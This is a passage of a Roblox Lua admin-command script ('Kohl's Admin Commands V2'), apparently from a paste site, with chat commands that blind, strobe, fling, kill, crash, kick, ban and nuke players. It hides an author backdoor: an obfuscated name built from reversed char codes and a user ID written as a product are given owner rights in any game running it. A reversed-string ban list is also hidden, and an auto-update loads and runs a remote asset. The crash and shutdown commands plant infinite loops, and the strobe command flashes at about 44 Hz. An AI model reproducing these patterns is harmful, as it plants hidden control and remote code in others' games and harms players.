  7893. local plrz = GetPlr(plr, msg:lower():sub(7))
  7894. for i, v in pairs(plrz) do
  7895. coroutine.resume(coroutine.create(function()
  7896. if v and v.Character and v.Character:findFirstChild("Torso") then
  7897. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7898. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7899. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7900. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7901. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  7902. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  7903. end end
  7904. end
  7905. end))
  7906. end
  7907. end
  7908.  
  7909. if msg:lower():sub(1,7) == "normal " then
  7910. local plrz = GetPlr(plr, msg:lower():sub(8))
  7911. for i, v in pairs(plrz) do
  7912. coroutine.resume(coroutine.create(function()
  7913. if v and v.Character and v.Character:findFirstChild("Torso") then
  7914. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  7915. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7916. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7917. v.Character.Torso.Transparency = 0
  7918. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7919. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7920. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7921. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7922. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7923. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7924. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7925. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  7926. if prt.Name == "FAKETORSO" then prt:Destroy() end
  7927. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  7928. end end
  7929. end
  7930. end))
  7931. end
  7932. end
  7933.  
  7934. if msg:lower():sub(1,7) == "trippy " then
  7935. local plrz = GetPlr(plr, msg:lower():sub(8))
  7936. for i, v in pairs(plrz) do
  7937. coroutine.resume(coroutine.create(function()
  7938. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7939. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7940. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  7941. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7942. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  7943. end
  7944. end))
  7945. end
  7946. end
  7947.  
  7948. if msg:lower():sub(1,9) == "untrippy " then
  7949. local plrz = GetPlr(plr, msg:lower():sub(10))
  7950. for i, v in pairs(plrz) do
  7951. coroutine.resume(coroutine.create(function()
  7952. if v and v:findFirstChild("PlayerGui") then
  7953. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  7954. end
  7955. end))
  7956. end
  7957. end
  7958.  
  7959. if msg:lower():sub(1,7) == "strobe " then
  7960. local plrz = GetPlr(plr, msg:lower():sub(8))
  7961. for i, v in pairs(plrz) do
  7962. coroutine.resume(coroutine.create(function()
  7963. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7964. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7965. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  7966. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7967. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  7968. end
  7969. end))
  7970. end
  7971. end
  7972.  
  7973. if msg:lower():sub(1,9) == "unstrobe " then
  7974. local plrz = GetPlr(plr, msg:lower():sub(10))
  7975. for i, v in pairs(plrz) do
  7976. coroutine.resume(coroutine.create(function()
  7977. if v and v:findFirstChild("PlayerGui") then
  7978. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  7979. end
  7980. end))
  7981. end
  7982. end
  7983.  
  7984. if msg:lower():sub(1,6) == "blind " then
  7985. local plrz = GetPlr(plr, msg:lower():sub(7))
  7986. for i, v in pairs(plrz) do
  7987. coroutine.resume(coroutine.create(function()
  7988. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7989. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7990. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  7991. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7992. end
  7993. end))
  7994. end
  7995. end
  7996.  
  7997. if msg:lower():sub(1,8) == "unblind " then
  7998. local plrz = GetPlr(plr, msg:lower():sub(9))
  7999. for i, v in pairs(plrz) do
  8000. coroutine.resume(coroutine.create(function()
  8001. if v and v:findFirstChild("PlayerGui") then
  8002. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  8003. end
  8004. end))
  8005. end
  8006. end
  8007.  
  8008. if msg:lower():sub(1,7) == "guifix " then
  8009. local plrz = GetPlr(plr, msg:lower():sub(8))
  8010. for i, v in pairs(plrz) do
  8011. coroutine.resume(coroutine.create(function()
  8012. if v and v:findFirstChild("PlayerGui") then
  8013. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  8014. end
  8015. end))
  8016. end
  8017. end
  8018.  
  8019. if msg:lower():sub(1,9) == "loopheal " then
  8020. local plrz = GetPlr(plr, msg:lower():sub(10))
  8021. for i, v in pairs(plrz) do
  8022. if v then
  8023. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  8024. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8025. repeat wait()
  8026. coroutine.resume(coroutine.create(function()
  8027. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  8028. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  8029. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  8030. end
  8031. end))
  8032. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8033. end
  8034. end
  8035. end
  8036.  
  8037. if msg:lower():sub(1,11) == "unloopheal " then
  8038. local plrz = GetPlr(plr, msg:lower():sub(12))
  8039. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8040. end
  8041.  
  8042. if msg:lower():sub(1,10) == "loopfling " then
  8043. local plrz = GetPlr(plr, msg:lower():sub(11))
  8044. for i, v in pairs(plrz) do
  8045. if v then
  8046. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  8047. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8048. repeat
  8049. coroutine.resume(coroutine.create(function()
  8050. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  8051. local xran local zran
  8052. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  8053. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  8054. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  8055. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  8056. end
  8057. end))
  8058. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8059. end
  8060. end
  8061. end
  8062.  
  8063. if msg:lower():sub(1,12) == "unloopfling " then
  8064. local plrz = GetPlr(plr, msg:lower():sub(13))
  8065. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8066. end
  8067.    
  8068. end
  8069.  
  8070. -------------------------
  8071. -- True Owner Commands --
  8072. -------------------------
  8073.  
  8074. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  8075.  
  8076. if msg:lower():sub(1,3) == "oa " then
  8077. local plrz = GetPlr(plr, msg:lower():sub(4))
  8078. for i, v in pairs(plrz) do
  8079. coroutine.resume(coroutine.create(function()
  8080. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8081. end))
  8082. end
  8083. end
  8084.  
  8085. if msg:lower():sub(1,5) == "unoa " then
  8086. for i = 1, #owners do
  8087. coroutine.resume(coroutine.create(function()
  8088. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  8089. end))
  8090. end
  8091. end
  8092.  
  8093. if msg:lower() == "settings" then
  8094. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  8095. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  8096. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  8097. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  8098. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  8099. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  8100. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  8101. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  8102. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  8103. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  8104. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  8105. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  8106. end
  8107.  
  8108. end
  8109.  
  8110. --------------------
  8111. -- Owner Commands --
  8112. --------------------
  8113.  
  8114. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  8115.  
  8116. if msg:lower():sub(1,3) == "pa " then
  8117. local plrz = GetPlr(plr, msg:lower():sub(4))
  8118. for i, v in pairs(plrz) do
  8119. coroutine.resume(coroutine.create(function()
  8120. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8121. end))
  8122. end
  8123. end
  8124.  
  8125. if msg:lower():sub(1,5) == "unpa " then
  8126. for i = 1, #admins do
  8127. coroutine.resume(coroutine.create(function()
  8128. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  8129. end))
  8130. end
  8131. end
  8132.  
  8133. if msg:lower():sub(1,5) == "nuke " then
  8134. local plrz = GetPlr(plr, msg:lower():sub(6))
  8135. for i, v in pairs(plrz) do
  8136. coroutine.resume(coroutine.create(function()
  8137. if v and v.Character and v.Character:findFirstChild("Torso") then
  8138. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  8139. p.Anchored = true
  8140. p.CanCollide = false
  8141. p.formFactor = "Symmetric"
  8142. p.Shape = "Ball"
  8143. p.Size = Vector3.new(1,1,1)
  8144. p.BrickColor = BrickColor.new("New Yeller")
  8145. p.Transparency = .5
  8146. p.Reflectance = .2
  8147. p.TopSurface = 0
  8148. p.BottomSurface = 0
  8149. p.Touched:connect(function(hit)
  8150. if hit and hit.Parent then
  8151. local ex = Instance.new("Explosion", game.Workspace)
  8152. ex.Position = hit.Position
  8153. ex.BlastRadius = 11
  8154. ex.BlastPressure = math.huge
  8155. end
  8156. end)
  8157. local cf = v.Character.Torso.CFrame
  8158. p.CFrame = cf
  8159. for i = 1, 333 do
  8160. p.Size = p.Size + Vector3.new(3,3,3)
  8161. p.CFrame = cf
  8162. wait(1/44)
  8163. end
  8164. p:Destroy()
  8165. end
  8166. end))
  8167. end
  8168. end
  8169.  
  8170. end
  8171.  
  8172. --------------------------
  8173. -- Super Admin Commands --
  8174. --------------------------
  8175.  
  8176. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  8177.  
  8178. if msg:lower() == "logs" then
  8179. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  8180. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  8181. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  8182. end
  8183.    
  8184. if msg:lower():sub(1,9) == "loopkill " then
  8185. local chk1 = msg:lower():sub(10):find(" ")
  8186. local plrz = GetPlr(plr, msg:lower():sub(10))
  8187. local num = 9999
  8188. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  8189. for i, v in pairs(plrz) do
  8190. if v and not ChkAdmin(v.Name, false) then
  8191. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  8192. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8193. for i = 1, ]] .. tostring(num) .. [[ do
  8194. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  8195. coroutine.resume(coroutine.create(function()
  8196. if plr and plr.Character then plr.Character:BreakJoints() end
  8197. end))
  8198. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8199. end
  8200. end
  8201. end
  8202.  
  8203. if msg:lower():sub(1,11) == "unloopkill " then
  8204. local plrz = GetPlr(plr, msg:lower():sub(12))
  8205. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8206. end
  8207.  
  8208. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  8209. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  8210.  
  8211. if msg:lower():sub(1,3) == "sm " then
  8212. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  8213. end
  8214.  
  8215. if msg:lower():sub(1,3) == "ko " then
  8216. local chk1 = msg:lower():sub(4):find(" ") + 3
  8217. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  8218. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  8219. for n = 1, num do
  8220. for i, v in pairs(plrz) do
  8221. coroutine.resume(coroutine.create(function()
  8222. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  8223. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  8224. v.Character:BreakJoints()
  8225. wait(1/44)
  8226. v:LoadCharacter()
  8227. wait(1/44)
  8228. end
  8229. end))
  8230. end
  8231. end
  8232. end
  8233.  
  8234. if msg:lower():sub(1,6) == "crash " then
  8235. local plrz = GetPlr(plr, msg:lower():sub(7))
  8236. for i, v in pairs(plrz) do
  8237. coroutine.resume(coroutine.create(function()
  8238. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  8239. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  8240. end
  8241. end))
  8242. end
  8243. end
  8244.  
  8245. if msg:lower():sub(1,5) == "kick " then
  8246. local plrz = GetPlr(plr, msg:lower():sub(6))
  8247. for i, v in pairs(plrz) do
  8248. coroutine.resume(coroutine.create(function()
  8249. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  8250. end))
  8251. end
  8252. end
  8253.  
  8254. if msg:lower():sub(1,6) == "admin " then
  8255. local plrz = GetPlr(plr, msg:lower():sub(7))
  8256. for i, v in pairs(plrz) do
  8257. coroutine.resume(coroutine.create(function()
  8258. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8259. end))
  8260. end
  8261. end
  8262.  
  8263. if msg:lower():sub(1,8) == "unadmin " then
  8264. for i = 1, #tempadmins do
  8265. coroutine.resume(coroutine.create(function()
  8266. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  8267. end))
  8268. end
  8269. end
  8270.  
  8271. if msg:lower():sub(1,4) == "ban " then
  8272. local plrz = GetPlr(plr, msg:lower():sub(5))
  8273. for i, v in pairs(plrz) do
  8274. coroutine.resume(coroutine.create(function()
  8275. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  8276. end))
  8277. end
  8278. end
  8279.  
  8280. if msg:lower():sub(1,6) == "unban " then
  8281. for i = 1, #banland do
  8282. coroutine.resume(coroutine.create(function()
  8283. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  8284. end))
  8285. end
  8286. end
  8287.  
  8288. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  8289.  
  8290. end
  8291. end))
  8292. end
  8293.  
  8294. function AdminControl(plr)
  8295. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  8296. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  8297. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  8298. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  8299. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  8300. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  8301. end)) end
  8302. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  8303. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  8304. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  8305. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  8306. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  8307. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  8308. end
  8309.  
  8310. if not ntab then script:Destroy() end
  8311. if not bct then script:Destroy() end
  8312.  
  8313. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  8314.  
  8315. script.Name = "Kohl's Admin Commands V2"
  8316.  
  8317. if not ntab then script:Destroy() end
  8318. if not bct then script:Destroy() end
  8319. if not tcb then script:Destroy() end
  8320. game.Players.PlayerAdded:connect(AdminControl)
  8321. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  8322. end
  8323.  
  8324. local mod = game:service("InsertService"):LoadAsset(100808216)
  8325. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  8326. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  8327. newac.Disabled = true
  8328. local new = tonumber(mod:findFirstChild("Version", true).Value)
  8329. local old = 0
  8330. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  8331. if new > old then
  8332. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  8333. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  8334. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  8335. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  8336. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  8337. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  8338. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  8339. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  8340. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  8341. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  8342. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  8343. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  8344. wait()
  8345. newac.Parent = game.Workspace
  8346. newac.Disabled = false
  8347. script.Disabled = true
  8348. script:Destroy()
  8349. else
  8350. CHEESE()
  8351. end
  8352. else
  8353. CHEESE()
  8354. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement